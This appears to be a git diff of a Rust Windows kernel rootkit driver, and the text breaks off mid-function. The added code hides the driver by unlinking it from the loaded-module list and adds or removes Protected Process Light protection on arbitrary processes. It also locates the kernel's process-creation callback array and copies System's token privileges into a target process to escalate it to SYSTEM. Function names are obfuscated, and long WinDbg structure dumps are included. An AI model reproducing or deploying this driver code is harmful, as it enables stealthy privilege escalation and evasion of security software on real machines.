//The KeRaiseIrqlToDpcLevel routine raises the hardware priority to IRQL = DISPATCH_LEVEL, thereby masking off interrupts of equivalent or lower IRQL on the current processor. + let irql = unsafe { KeRaiseIrqlToDpcLevel() }; + log::info!("KeRaiseIrqlToDpcLevel: IRQL is {:?}", irql); + + if device_object.DriverObject.is_null() { + log::info!("DriverObject is null"); + return Err("DriverObject is null"); + } + + let module_entry = unsafe { (*device_object.DriverObject).DriverSection as *mut LDR_DATA_TABLE_ENTRY }; + + + let previous_entry = unsafe { (*module_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY }; + let next_entry = unsafe { (*module_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY }; + + + unsafe { (*previous_entry).InLoadOrderLinks.Flink = (*module_entry).InLoadOrderLinks.Flink }; + unsafe { (*next_entry).InLoadOrderLinks.Blink = (*module_entry).InLoadOrderLinks.Blink }; + + unsafe { (*module_entry).InLoadOrderLinks.Flink = module_entry as *mut ntapi::winapi::shared::ntdef::LIST_ENTRY }; + unsafe { (*module_entry).InLoadOrderLinks.Blink = module_entry as *mut ntapi::winapi::shared::ntdef::LIST_ENTRY }; + + + //The KeLowerIrql routine restores the IRQL on the current processor to its original value. For information about IRQLs, see Managing Hardware Priorities. + unsafe { KeLowerIrql(irql) }; + log::info!("KeLowerIrql: IRQL is {:?}", irql); + + let current_irql = unsafe { KeGetCurrentIrql() }; + log::info!("1st KeGetCurrentIrql: {:?}", current_irql); + + return Ok(true); +} + +pub fn get_kernel_loaded_modules(module_information: *mut ModuleInformation, information: *mut usize) -> Result { + //KeRaiseIrqlToDpcLevel + let unicode_function_name = &mut create_unicode_string( + obfstr::wide!("PsLoadedModuleList\0") + ) as *mut UNICODE_STRING; + + let ptr_ps_loaded_module_list = get_function_base_address(unicode_function_name) as *mut LDR_DATA_TABLE_ENTRY; + + if ptr_ps_loaded_module_list.is_null() { + log::error!("ptr_ps_loaded_module_list is null"); + return Err("ptr_ps_loaded_module_list is null"); + } + + log::info!("ptr_ps_loaded_module_list {:?}", ptr_ps_loaded_module_list); + + let current = ptr_ps_loaded_module_list as *mut LIST_ENTRY; + let mut next = unsafe { (*ptr_ps_loaded_module_list).InLoadOrderLinks.Flink as *mut LIST_ENTRY }; + + let mut i = 0; + + // loop through the linked list + while next as usize != current as usize { + + //Get module base and name + let mod_base = unsafe { (*(next as *mut LDR_DATA_TABLE_ENTRY)).DllBase }; + let mod_name = unsafe { (*(next as *mut LDR_DATA_TABLE_ENTRY)).BaseDllName }; + let name_slice = unsafe { core::slice::from_raw_parts(mod_name.Buffer, mod_name.Length as usize / 2) } ; + //log::info!("Module: {:?}", String::from_utf16_lossy(name_slice)); + + // Store the information in user buffer + //Address + unsafe { (*module_information.offset(i)).module_base = mod_base as usize }; + + //Name + let dst = unsafe { (*module_information.offset(i)).module_name.as_mut() }; + unsafe { copy_nonoverlapping(name_slice.as_ptr(), dst.as_mut_ptr(), name_slice.len()) }; + + + i = i + 1; // increase i to keep track + + unsafe { (*information) += size_of::() }; + + // go to next module + next = unsafe { (*next).Flink }; + } + + return Ok(true); +} + +/* +0: kd> dt _DRIVER_OBJECT +nt!_DRIVER_OBJECT + +0x000 Type : Int2B + +0x002 Size : Int2B + +0x008 DeviceObject : Ptr64 _DEVICE_OBJECT + +0x010 Flags : Uint4B + +0x018 DriverStart : Ptr64 Void + +0x020 DriverSize : Uint4B + +0x028 DriverSection : Ptr64 Void + +0x030 DriverExtension : Ptr64 _DRIVER_EXTENSION + +0x038 DriverName : _UNICODE_STRING + +0x048 HardwareDatabase : Ptr64 _UNICODE_STRING + +0x050 FastIoDispatch : Ptr64 _FAST_IO_DISPATCH + +0x058 DriverInit : Ptr64 long + +0x060 DriverStartIo : Ptr64 void + +0x068 DriverUnload : Ptr64 void + +0x070 MajorFunction : [28] Ptr64 long +*/ \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/src/process/memory.rs b/memN0ps/eagle-rs/driver/src/process/memory.rs new file mode 100644 index 0000000..99312e2 --- /dev/null +++ b/memN0ps/eagle-rs/driver/src/process/memory.rs @@ -0,0 +1,54 @@ +use winapi::{km::wdm::PEPROCESS, shared::ntdef::NT_SUCCESS, um::winnt::PACCESS_TOKEN}; + +use crate::includes::{PsLookupProcessByProcessId, ObfDereferenceObject, PsReferencePrimaryToken, PsDereferencePrimaryToken}; + +#[derive(Debug, Clone)] +pub struct Process { + pub eprocess: PEPROCESS, +} + +impl Process { + pub fn by_id(process_id: u64) -> Option { + let mut process = core::ptr::null_mut(); + + let status = unsafe { PsLookupProcessByProcessId(process_id as _, &mut process) }; + if NT_SUCCESS(status) { + Some(Self { eprocess: process }) + } else { + None + } + } +} + +impl Drop for Process { + fn drop(&mut self) { + if !self.eprocess.is_null() { + unsafe { ObfDereferenceObject(self.eprocess as _) } + } + } +} + +#[derive(Debug, Clone)] +pub struct Token { + pub token: PACCESS_TOKEN, +} + +impl Token { + pub fn by_token(eprocess: PEPROCESS) -> Option { + + let token = unsafe { PsReferencePrimaryToken(eprocess) }; + if !token.is_null() { + Some(Self { token }) + } else { + None + } + } +} + +impl Drop for Token { + fn drop(&mut self) { + if !self.token.is_null() { + unsafe { PsDereferencePrimaryToken(self.token) } + } + } +} \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/src/process/mod.rs b/memN0ps/eagle-rs/driver/src/process/mod.rs new file mode 100644 index 0000000..0410151 --- /dev/null +++ b/memN0ps/eagle-rs/driver/src/process/mod.rs @@ -0,0 +1,471 @@ +use common::TargetProcess; +use winapi::shared::ntdef::{NTSTATUS, PVOID, UNICODE_STRING}; +use winapi::shared::ntstatus::{STATUS_SUCCESS, STATUS_UNSUCCESSFUL}; +use crate::includes::{ProcessProtectionInformation, MmGetSystemRoutineAddress, PSProtection}; +use crate::string::create_unicode_string; + +use self::memory::Process; +pub mod hide; +pub mod memory; + +/// Add process protection +pub fn protect_process(target_process: *mut TargetProcess) -> NTSTATUS { + + let process = match unsafe { Process::by_id((*target_process).process_id as u64) } { + Some(p) => p, + None => return STATUS_UNSUCCESSFUL, + }; + + let signature_level_offset = get_eprocess_signature_level_offset(); + let ps_protection = unsafe { process.eprocess.cast::().offset(signature_level_offset) as *mut ProcessProtectionInformation }; + + unsafe { + (*ps_protection).signature_level = 0x3f; + (*ps_protection).section_signature_level = 0x3f; + (*ps_protection).protection = PSProtection::new().with_protection_type(2).with_protection_audit(0).with_protection_signer(6); + } + + return STATUS_SUCCESS; +} + +/// Remove process protection +pub fn unprotect_process(target_process: *mut TargetProcess) -> NTSTATUS { + + let process = match unsafe { Process::by_id((*target_process).process_id as u64) } { + Some(p) => p, + None => return STATUS_UNSUCCESSFUL, + }; + + + let signature_level_offset = get_eprocess_signature_level_offset(); + let ps_protection = unsafe { process.eprocess.cast::().offset(signature_level_offset) as *mut ProcessProtectionInformation }; + + unsafe { + (*ps_protection).signature_level = 0; + (*ps_protection).section_signature_level = 0; + (*ps_protection).protection = PSProtection::new().with_protection_type(0).with_protection_audit(0).with_protection_signer(0); + } + + + return STATUS_SUCCESS; +} + +/// Gets ta pointer to a function from ntoskrnl exports +fn get_ntoskrnl_exports(function_name: *mut UNICODE_STRING) -> PVOID { + //The MmGetSystemRoutineAddress routine returns a pointer to a function specified by SystemRoutineName. + return unsafe { MmGetSystemRoutineAddress(function_name) }; +} + +// Gets function base address +pub fn get_function_base_address(function_name: *mut UNICODE_STRING) -> PVOID { + let base = get_ntoskrnl_exports(function_name); + return base; +} + +/// Get EPROCESS.Protection offset dynamically +#[allow(dead_code)] +pub fn get_eprocess_protection_offset() -> isize { + let unicode_function_name = &mut create_unicode_string( + obfstr::wide!("PsIsProtectedProcess\0") + ) as *mut UNICODE_STRING; + + let base_address = get_function_base_address(unicode_function_name); + let function_bytes: &[u8] = unsafe { core::slice::from_raw_parts(base_address as *const u8, 5) }; + + let slice = &function_bytes[2..4]; + let protection_offset = u16::from_le_bytes(slice.try_into().unwrap()); + log::info!("EPROCESS.Protection: {:#x}", protection_offset); + + return protection_offset as isize; +} + +/// Get EPROCESS.SignatureLevel offset dynamically +pub fn get_eprocess_signature_level_offset() -> isize { + let unicode_function_name = &mut create_unicode_string( + obfstr::wide!("PsGetProcessSignatureLevel\0") + ) as *mut UNICODE_STRING; + + let base_address = get_function_base_address(unicode_function_name); + let function_bytes: &[u8] = unsafe { core::slice::from_raw_parts(base_address as *const u8, 20) }; + + let slice = &function_bytes[15..17]; + let signature_level_offset = u16::from_le_bytes(slice.try_into().unwrap()); + log::info!("EPROCESS.SignatureLevel: {:#x}", signature_level_offset); + + return signature_level_offset as isize; +} + +pub fn find_psp_set_create_process_notify() -> Option<*const u8> { + let unicode_function_name = &mut create_unicode_string( + obfstr::wide!("PsSetCreateProcessNotifyRoutine\0") + ) as *mut UNICODE_STRING; + + let base_address = get_function_base_address(unicode_function_name); + + if base_address.is_null() { + log::error!("PsSetCreateProcessNotifyRoutine is null"); + return None; + } + + let func_slice: &[u8] = unsafe { + core::slice::from_raw_parts(base_address as *const u8, 0x14) //call nt!PspSetCreateProcessNotifyRoutine (
) + }; + + // OS version dependent + const OPCODE_CALL: u8 = 0xE8; //CALL + const OPCODE_JMP: u8 = 0xE9; //JMP + + // Search for the jump or call instruction inside PsSetCreateProcessNotifyRoutine + if let Some(i) = func_slice.iter().position(|x| *x == OPCODE_CALL || *x == OPCODE_JMP) { + + let position = i + 1; // 1 byte after jmp/call + let offset_slice = &func_slice[position..position + 2]; //u16::from_le_bytes takes 2 slices + let offset = u16::from_le_bytes(offset_slice.try_into().unwrap()); + let new_base = unsafe { base_address.cast::().offset(0xd) }; // +0xd is call nt!PspSetCreateProcessNotifyRoutine + let new_offset = offset + 0x5; // offset + 5: because i is a the start of call and not the end + let psp_set_create_process_notify = unsafe { new_base.cast::().offset(new_offset as isize) as *const u8 }; + + // Search for the lea r13 PspSetCreateProcessNotifyRoutine + + let psp_func_slice: &[u8] = unsafe { + core::slice::from_raw_parts(psp_set_create_process_notify, 0x70) //lea r13,[nt!PspCreateProcessNotifyRoutine (
)] + }; + + let needle = [0x4c, 0x8D]; //lea r13, + + if let Some(y) = psp_func_slice.windows(needle.len()).position(|x| *x == needle) { + + let position = y + 3; // 3 byte after lea r13, is the offset + let offset_slice = &psp_func_slice[position..position + 4]; //u32::from_le_bytes takes 4 slices + let offset = u32::from_le_bytes(offset_slice.try_into().unwrap()); + let new_base = unsafe { psp_set_create_process_notify.cast::().offset(0x62) }; // +0x62 is lea r13,[nt!PspCreateProcessNotifyRoutine (
)] + let new_offset = offset + 0x7; // offset + 6: because i is a the start of lea and not the end + let psp_set_create_process_notify_array = unsafe { new_base.cast::().offset(new_offset as isize) }; + + return Some(psp_set_create_process_notify_array); + } + } + + return None; +} + +/* + +0: kd> u PsIsProtectedProcess +nt!PsIsProtectedProcess: +fffff807`0d87c730 f6817a08000007 test byte ptr [rcx+87Ah],7 +fffff807`0d87c737 b800000000 mov eax,0 +fffff807`0d87c73c 0f97c0 seta al +fffff807`0d87c73f c3 ret +fffff807`0d87c740 cc int 3 +fffff807`0d87c741 cc int 3 +fffff807`0d87c742 cc int 3 +fffff807`0d87c743 cc int 3 + +0: kd> u PsGetProcessSignatureLevel +nt!PsGetProcessSignatureLevel: +fffff807`0d992dd0 4885d2 test rdx,rdx +fffff807`0d992dd3 7408 je nt!PsGetProcessSignatureLevel+0xd (fffff807`0d992ddd) +fffff807`0d992dd5 8a8179080000 mov al,byte ptr [rcx+879h] +fffff807`0d992ddb 8802 mov byte ptr [rdx],al +fffff807`0d992ddd 8a8178080000 mov al,byte ptr [rcx+878h] +fffff807`0d992de3 c3 ret +fffff807`0d992de4 cc int 3 +fffff807`0d992de5 cc int 3 + +nt!_EPROCESS + +0x878 SignatureLevel : UChar + +0x879 SectionSignatureLevel : UChar + +0x87a Protection : _PS_PROTECTION + +*/ + +/* +0: kd> dt nt!_EPROCESS + +0x000 Pcb : _KPROCESS + +0x438 ProcessLock : _EX_PUSH_LOCK + +0x440 UniqueProcessId : Ptr64 Void + +0x448 ActiveProcessLinks : _LIST_ENTRY + +0x458 RundownProtect : _EX_RUNDOWN_REF + +0x460 Flags2 : Uint4B + +0x460 JobNotReallyActive : Pos 0, 1 Bit + +0x460 AccountingFolded : Pos 1, 1 Bit + +0x460 NewProcessReported : Pos 2, 1 Bit + +0x460 ExitProcessReported : Pos 3, 1 Bit + +0x460 ReportCommitChanges : Pos 4, 1 Bit + +0x460 LastReportMemory : Pos 5, 1 Bit + +0x460 ForceWakeCharge : Pos 6, 1 Bit + +0x460 CrossSessionCreate : Pos 7, 1 Bit + +0x460 NeedsHandleRundown : Pos 8, 1 Bit + +0x460 RefTraceEnabled : Pos 9, 1 Bit + +0x460 PicoCreated : Pos 10, 1 Bit + +0x460 EmptyJobEvaluated : Pos 11, 1 Bit + +0x460 DefaultPagePriority : Pos 12, 3 Bits + +0x460 PrimaryTokenFrozen : Pos 15, 1 Bit + +0x460 ProcessVerifierTarget : Pos 16, 1 Bit + +0x460 RestrictSetThreadContext : Pos 17, 1 Bit + +0x460 AffinityPermanent : Pos 18, 1 Bit + +0x460 AffinityUpdateEnable : Pos 19, 1 Bit + +0x460 PropagateNode : Pos 20, 1 Bit + +0x460 ExplicitAffinity : Pos 21, 1 Bit + +0x460 ProcessExecutionState : Pos 22, 2 Bits + +0x460 EnableReadVmLogging : Pos 24, 1 Bit + +0x460 EnableWriteVmLogging : Pos 25, 1 Bit + +0x460 FatalAccessTerminationRequested : Pos 26, 1 Bit + +0x460 DisableSystemAllowedCpuSet : Pos 27, 1 Bit + +0x460 ProcessStateChangeRequest : Pos 28, 2 Bits + +0x460 ProcessStateChangeInProgress : Pos 30, 1 Bit + +0x460 InPrivate : Pos 31, 1 Bit + +0x464 Flags : Uint4B + +0x464 CreateReported : Pos 0, 1 Bit + +0x464 NoDebugInherit : Pos 1, 1 Bit + +0x464 ProcessExiting : Pos 2, 1 Bit + +0x464 ProcessDelete : Pos 3, 1 Bit + +0x464 ManageExecutableMemoryWrites : Pos 4, 1 Bit + +0x464 VmDeleted : Pos 5, 1 Bit + +0x464 OutswapEnabled : Pos 6, 1 Bit + +0x464 Outswapped : Pos 7, 1 Bit + +0x464 FailFastOnCommitFail : Pos 8, 1 Bit + +0x464 Wow64VaSpace4Gb : Pos 9, 1 Bit + +0x464 AddressSpaceInitialized : Pos 10, 2 Bits + +0x464 SetTimerResolution : Pos 12, 1 Bit + +0x464 BreakOnTermination : Pos 13, 1 Bit + +0x464 DeprioritizeViews : Pos 14, 1 Bit + +0x464 WriteWatch : Pos 15, 1 Bit + +0x464 ProcessInSession : Pos 16, 1 Bit + +0x464 OverrideAddressSpace : Pos 17, 1 Bit + +0x464 HasAddressSpace : Pos 18, 1 Bit + +0x464 LaunchPrefetched : Pos 19, 1 Bit + +0x464 Background : Pos 20, 1 Bit + +0x464 VmTopDown : Pos 21, 1 Bit + +0x464 ImageNotifyDone : Pos 22, 1 Bit + +0x464 PdeUpdateNeeded : Pos 23, 1 Bit + +0x464 VdmAllowed : Pos 24, 1 Bit + +0x464 ProcessRundown : Pos 25, 1 Bit + +0x464 ProcessInserted : Pos 26, 1 Bit + +0x464 DefaultIoPriority : Pos 27, 3 Bits + +0x464 ProcessSelfDelete : Pos 30, 1 Bit + +0x464 SetTimerResolutionLink : Pos 31, 1 Bit + +0x468 CreateTime : _LARGE_INTEGER + +0x470 ProcessQuotaUsage : [2] Uint8B + +0x480 ProcessQuotaPeak : [2] Uint8B + +0x490 PeakVirtualSize : Uint8B + +0x498 VirtualSize : Uint8B + +0x4a0 SessionProcessLinks : _LIST_ENTRY + +0x4b0 ExceptionPortData : Ptr64 Void + +0x4b0 ExceptionPortValue : Uint8B + +0x4b0 ExceptionPortState : Pos 0, 3 Bits + +0x4b8 Token : _EX_FAST_REF + +0x4c0 MmReserved : Uint8B + +0x4c8 AddressCreationLock : _EX_PUSH_LOCK + +0x4d0 PageTableCommitmentLock : _EX_PUSH_LOCK + +0x4d8 RotateInProgress : Ptr64 _ETHREAD + +0x4e0 ForkInProgress : Ptr64 _ETHREAD + +0x4e8 CommitChargeJob : Ptr64 _EJOB + +0x4f0 CloneRoot : _RTL_AVL_TREE + +0x4f8 NumberOfPrivatePages : Uint8B + +0x500 NumberOfLockedPages : Uint8B + +0x508 Win32Process : Ptr64 Void + +0x510 Job : Ptr64 _EJOB + +0x518 SectionObject : Ptr64 Void + +0x520 SectionBaseAddress : Ptr64 Void + +0x528 Cookie : Uint4B + +0x530 WorkingSetWatch : Ptr64 _PAGEFAULT_HISTORY + +0x538 Win32WindowStation : Ptr64 Void + +0x540 InheritedFromUniqueProcessId : Ptr64 Void + +0x548 OwnerProcessId : Uint8B + +0x550 Peb : Ptr64 _PEB + +0x558 Session : Ptr64 _MM_SESSION_SPACE + +0x560 Spare1 : Ptr64 Void + +0x568 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK + +0x570 ObjectTable : Ptr64 _HANDLE_TABLE + +0x578 DebugPort : Ptr64 Void + +0x580 WoW64Process : Ptr64 _EWOW64PROCESS + +0x588 DeviceMap : Ptr64 Void + +0x590 EtwDataSource : Ptr64 Void + +0x598 PageDirectoryPte : Uint8B + +0x5a0 ImageFilePointer : Ptr64 _FILE_OBJECT + +0x5a8 ImageFileName : [15] UChar + +0x5b7 PriorityClass : UChar + +0x5b8 SecurityPort : Ptr64 Void + +0x5c0 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO + +0x5c8 JobLinks : _LIST_ENTRY + +0x5d8 HighestUserAddress : Ptr64 Void + +0x5e0 ThreadListHead : _LIST_ENTRY + +0x5f0 ActiveThreads : Uint4B + +0x5f4 ImagePathHash : Uint4B + +0x5f8 DefaultHardErrorProcessing : Uint4B + +0x5fc LastThreadExitStatus : Int4B + +0x600 PrefetchTrace : _EX_FAST_REF + +0x608 LockedPagesList : Ptr64 Void + +0x610 ReadOperationCount : _LARGE_INTEGER + +0x618 WriteOperationCount : _LARGE_INTEGER + +0x620 OtherOperationCount : _LARGE_INTEGER + +0x628 ReadTransferCount : _LARGE_INTEGER + +0x630 WriteTransferCount : _LARGE_INTEGER + +0x638 OtherTransferCount : _LARGE_INTEGER + +0x640 CommitChargeLimit : Uint8B + +0x648 CommitCharge : Uint8B + +0x650 CommitChargePeak : Uint8B + +0x680 Vm : _MMSUPPORT_FULL + +0x7c0 MmProcessLinks : _LIST_ENTRY + +0x7d0 ModifiedPageCount : Uint4B + +0x7d4 ExitStatus : Int4B + +0x7d8 VadRoot : _RTL_AVL_TREE + +0x7e0 VadHint : Ptr64 Void + +0x7e8 VadCount : Uint8B + +0x7f0 VadPhysicalPages : Uint8B + +0x7f8 VadPhysicalPagesLimit : Uint8B + +0x800 AlpcContext : _ALPC_PROCESS_CONTEXT + +0x820 TimerResolutionLink : _LIST_ENTRY + +0x830 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD + +0x838 RequestedTimerResolution : Uint4B + +0x83c SmallestTimerResolution : Uint4B + +0x840 ExitTime : _LARGE_INTEGER + +0x848 InvertedFunctionTable : Ptr64 _INVERTED_FUNCTION_TABLE + +0x850 InvertedFunctionTableLock : _EX_PUSH_LOCK + +0x858 ActiveThreadsHighWatermark : Uint4B + +0x85c LargePrivateVadCount : Uint4B + +0x860 ThreadListLock : _EX_PUSH_LOCK + +0x868 WnfContext : Ptr64 Void + +0x870 ServerSilo : Ptr64 _EJOB + +0x878 SignatureLevel : UChar + +0x879 SectionSignatureLevel : UChar + +0x87a Protection : _PS_PROTECTION + +0x87b HangCount : Pos 0, 3 Bits + +0x87b GhostCount : Pos 3, 3 Bits + +0x87b PrefilterException : Pos 6, 1 Bit + +0x87c Flags3 : Uint4B + +0x87c Minimal : Pos 0, 1 Bit + +0x87c ReplacingPageRoot : Pos 1, 1 Bit + +0x87c Crashed : Pos 2, 1 Bit + +0x87c JobVadsAreTracked : Pos 3, 1 Bit + +0x87c VadTrackingDisabled : Pos 4, 1 Bit + +0x87c AuxiliaryProcess : Pos 5, 1 Bit + +0x87c SubsystemProcess : Pos 6, 1 Bit + +0x87c IndirectCpuSets : Pos 7, 1 Bit + +0x87c RelinquishedCommit : Pos 8, 1 Bit + +0x87c HighGraphicsPriority : Pos 9, 1 Bit + +0x87c CommitFailLogged : Pos 10, 1 Bit + +0x87c ReserveFailLogged : Pos 11, 1 Bit + +0x87c SystemProcess : Pos 12, 1 Bit + +0x87c HideImageBaseAddresses : Pos 13, 1 Bit + +0x87c AddressPolicyFrozen : Pos 14, 1 Bit + +0x87c ProcessFirstResume : Pos 15, 1 Bit + +0x87c ForegroundExternal : Pos 16, 1 Bit + +0x87c ForegroundSystem : Pos 17, 1 Bit + +0x87c HighMemoryPriority : Pos 18, 1 Bit + +0x87c EnableProcessSuspendResumeLogging : Pos 19, 1 Bit + +0x87c EnableThreadSuspendResumeLogging : Pos 20, 1 Bit + +0x87c SecurityDomainChanged : Pos 21, 1 Bit + +0x87c SecurityFreezeComplete : Pos 22, 1 Bit + +0x87c VmProcessorHost : Pos 23, 1 Bit + +0x87c VmProcessorHostTransition : Pos 24, 1 Bit + +0x87c AltSyscall : Pos 25, 1 Bit + +0x87c TimerResolutionIgnore : Pos 26, 1 Bit + +0x87c DisallowUserTerminate : Pos 27, 1 Bit + +0x880 DeviceAsid : Int4B + +0x888 SvmData : Ptr64 Void + +0x890 SvmProcessLock : _EX_PUSH_LOCK + +0x898 SvmLock : Uint8B + +0x8a0 SvmProcessDeviceListHead : _LIST_ENTRY + +0x8b0 LastFreezeInterruptTime : Uint8B + +0x8b8 DiskCounters : Ptr64 _PROCESS_DISK_COUNTERS + +0x8c0 PicoContext : Ptr64 Void + +0x8c8 EnclaveTable : Ptr64 Void + +0x8d0 EnclaveNumber : Uint8B + +0x8d8 EnclaveLock : _EX_PUSH_LOCK + +0x8e0 HighPriorityFaultsAllowed : Uint4B + +0x8e8 EnergyContext : Ptr64 _PO_PROCESS_ENERGY_CONTEXT + +0x8f0 VmContext : Ptr64 Void + +0x8f8 SequenceNumber : Uint8B + +0x900 CreateInterruptTime : Uint8B + +0x908 CreateUnbiasedInterruptTime : Uint8B + +0x910 TotalUnbiasedFrozenTime : Uint8B + +0x918 LastAppStateUpdateTime : Uint8B + +0x920 LastAppStateUptime : Pos 0, 61 Bits + +0x920 LastAppState : Pos 61, 3 Bits + +0x928 SharedCommitCharge : Uint8B + +0x930 SharedCommitLock : _EX_PUSH_LOCK + +0x938 SharedCommitLinks : _LIST_ENTRY + +0x948 AllowedCpuSets : Uint8B + +0x950 DefaultCpuSets : Uint8B + +0x948 AllowedCpuSetsIndirect : Ptr64 Uint8B + +0x950 DefaultCpuSetsIndirect : Ptr64 Uint8B + +0x958 DiskIoAttribution : Ptr64 Void + +0x960 DxgProcess : Ptr64 Void + +0x968 Win32KFilterSet : Uint4B + +0x970 ProcessTimerDelay : _PS_INTERLOCKED_TIMER_DELAY_VALUES + +0x978 KTimerSets : Uint4B + +0x97c KTimer2Sets : Uint4B + +0x980 ThreadTimerSets : Uint4B + +0x988 VirtualTimerListLock : Uint8B + +0x990 VirtualTimerListHead : _LIST_ENTRY + +0x9a0 WakeChannel : _WNF_STATE_NAME + +0x9a0 WakeInfo : _PS_PROCESS_WAKE_INFORMATION + +0x9d0 MitigationFlags : Uint4B + +0x9d0 MitigationFlagsValues : + +0x9d4 MitigationFlags2 : Uint4B + +0x9d4 MitigationFlags2Values : + +0x9d8 PartitionObject : Ptr64 Void + +0x9e0 SecurityDomain : Uint8B + +0x9e8 ParentSecurityDomain : Uint8B + +0x9f0 CoverageSamplerContext : Ptr64 Void + +0x9f8 MmHotPatchContext : Ptr64 Void + +0xa00 DynamicEHContinuationTargetsTree : _RTL_AVL_TREE + +0xa08 DynamicEHContinuationTargetsLock : _EX_PUSH_LOCK + +0xa10 DynamicEnforcedCetCompatibleRanges : _PS_DYNAMIC_ENFORCED_ADDRESS_RANGES + +0xa20 DisabledComponentFlags : Uint4B + +0xa28 PathRedirectionHashes : Ptr64 Uint4B + + + 0: kd> dt nt!_TOKEN + +0x000 TokenSource : _TOKEN_SOURCE + +0x010 TokenId : _LUID + +0x018 AuthenticationId : _LUID + +0x020 ParentTokenId : _LUID + +0x028 ExpirationTime : _LARGE_INTEGER + +0x030 TokenLock : Ptr64 _ERESOURCE + +0x038 ModifiedId : _LUID + +0x040 Privileges : _SEP_TOKEN_PRIVILEGES + +0x058 AuditPolicy : _SEP_AUDIT_POLICY + +0x078 SessionId : Uint4B + +0x07c UserAndGroupCount : Uint4B + +0x080 RestrictedSidCount : Uint4B + +0x084 VariableLength : Uint4B + +0x088 DynamicCharged : Uint4B + +0x08c DynamicAvailable : Uint4B + +0x090 DefaultOwnerIndex : Uint4B + +0x098 UserAndGroups : Ptr64 _SID_AND_ATTRIBUTES + +0x0a0 RestrictedSids : Ptr64 _SID_AND_ATTRIBUTES + +0x0a8 PrimaryGroup : Ptr64 Void + +0x0b0 DynamicPart : Ptr64 Uint4B + +0x0b8 DefaultDacl : Ptr64 _ACL + +0x0c0 TokenType : _TOKEN_TYPE + +0x0c4 ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL + +0x0c8 TokenFlags : Uint4B + +0x0cc TokenInUse : UChar + +0x0d0 IntegrityLevelIndex : Uint4B + +0x0d4 MandatoryPolicy : Uint4B + +0x0d8 LogonSession : Ptr64 _SEP_LOGON_SESSION_REFERENCES + +0x0e0 OriginatingLogonSession : _LUID + +0x0e8 SidHash : _SID_AND_ATTRIBUTES_HASH + +0x1f8 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH + +0x308 pSecurityAttributes : Ptr64 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION + +0x310 Package : Ptr64 Void + +0x318 Capabilities : Ptr64 _SID_AND_ATTRIBUTES + +0x320 CapabilityCount : Uint4B + +0x328 CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH + +0x438 LowboxNumberEntry : Ptr64 _SEP_LOWBOX_NUMBER_ENTRY + +0x440 LowboxHandlesEntry : Ptr64 _SEP_CACHED_HANDLES_ENTRY + +0x448 pClaimAttributes : Ptr64 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION + +0x450 TrustLevelSid : Ptr64 Void + +0x458 TrustLinkedToken : Ptr64 _TOKEN + +0x460 IntegrityLevelSidValue : Ptr64 Void + +0x468 TokenSidValues : Ptr64 _SEP_SID_VALUES_BLOCK + +0x470 IndexEntry : Ptr64 _SEP_LUID_TO_INDEX_MAP_ENTRY + +0x478 DiagnosticInfo : Ptr64 _SEP_TOKEN_DIAG_TRACK_ENTRY + +0x480 BnoIsolationHandlesEntry : Ptr64 _SEP_CACHED_HANDLES_ENTRY + +0x488 SessionObject : Ptr64 Void + +0x490 VariablePart : Uint8B + */ \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/src/string/mod.rs b/memN0ps/eagle-rs/driver/src/string/mod.rs new file mode 100644 index 0000000..2eb0b27 --- /dev/null +++ b/memN0ps/eagle-rs/driver/src/string/mod.rs @@ -0,0 +1,13 @@ +use winapi::shared::ntdef::UNICODE_STRING; + +pub fn create_unicode_string(s: &[u16]) -> UNICODE_STRING { + let len = s.len(); + + let n = if len > 0 && s[len - 1] == 0 { len - 1 } else { len }; + + UNICODE_STRING { + Length: (n * 2) as u16, + MaximumLength: (len * 2) as u16, + Buffer: s.as_ptr() as _, + } +} \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/src/token/mod.rs b/memN0ps/eagle-rs/driver/src/token/mod.rs new file mode 100644 index 0000000..24f1f35 --- /dev/null +++ b/memN0ps/eagle-rs/driver/src/token/mod.rs @@ -0,0 +1,173 @@ +use common::TargetProcess; +use winapi::{shared::{ntstatus::{STATUS_UNSUCCESSFUL, STATUS_SUCCESS}}}; +use winapi::shared::ntdef::{NTSTATUS, UNICODE_STRING}; +use crate::{process::{memory::{Process, Token}, get_function_base_address}, includes::ProcessPrivileges}; + +use crate::string::create_unicode_string; + +/// Enables all token privileges for the targeted process +pub fn enable_all_token_privileges(process: *mut TargetProcess) -> NTSTATUS { + + // Must get system before enabling all token privileges otherwise all privileges won't be enabled + get_system(process); + + // Get target process EPROCESS + let target_process = match unsafe { Process::by_id((*process).process_id as u64) } { + Some(p) => p, + None => return STATUS_UNSUCCESSFUL, + }; + + // Get System process EPROCESS (process ID is always 4) + let system_process = match Process::by_id(4) { + Some(p) => p, + None => return STATUS_UNSUCCESSFUL, + }; + + + // Get target process EPROCESS.Token + let target_token = match Token::by_token(target_process.eprocess) { + Some(t) => t, + None => return STATUS_UNSUCCESSFUL, + }; + + // Get system process EPROCESS.Token + let _system_token = match Token::by_token(system_process.eprocess) { + Some(t) => t, + None => return STATUS_UNSUCCESSFUL, + }; + + //The EPROCESS.Token.Privileges offset has not changed change since Windows Vista so we can hardcode here. + let target_process_privileges = unsafe { + (target_token.token.cast::().offset(0x40)) as *mut ProcessPrivileges + }; + + unsafe { + // Consistent accross build versions (System process EPROCESS.Token.Privileges) + (*target_process_privileges).present = u64::to_le_bytes(0x0000001ff2ffffbc); + (*target_process_privileges).enabled = u64::to_le_bytes(0x0000001ff2ffffbc); + //(*target_process_privileges).enabled_by_default = u64::to_le_bytes(0x0000001ff2ffffbc); + }; + + + log::info!("Enabled All Token Privileges"); + + return STATUS_SUCCESS; +} + +/// Elevates to NT AUTHORITY\SYSTEM +fn get_system(process: *mut TargetProcess) -> NTSTATUS { + + // Get target process EPROCESS + let target_process = match unsafe { Process::by_id((*process).process_id as u64) } { + Some(p) => p, + None => return STATUS_UNSUCCESSFUL, + }; + + // Get System process EPROCESS (process 